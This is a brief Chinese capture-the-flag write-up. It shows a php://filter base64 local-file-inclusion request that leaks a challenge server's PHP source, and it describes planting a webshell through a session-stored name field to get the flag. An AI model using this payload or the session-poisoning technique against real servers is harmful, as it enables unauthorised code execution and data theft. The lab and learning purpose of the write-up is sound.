题中提到了1.txt和2.txt,当时在这两个位置徘徊了很久,后来想直接试试。base64读取action.php这个文件:
119.23.247.96:48002/action.php?file=php://filter/read=convert.base64-encode/resource=action.php
出现: PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw Base64解密: 解密后内容如下:
<?php session_start(); error_reporting(0); $name = $_POST['name']; if($name){
$_SESSION["username"] = $name; } include($_GET['file']); ?> <!DOCTYPE html> <htbWw
发现session打开并可控 在name处写入木马 可以即可获得flag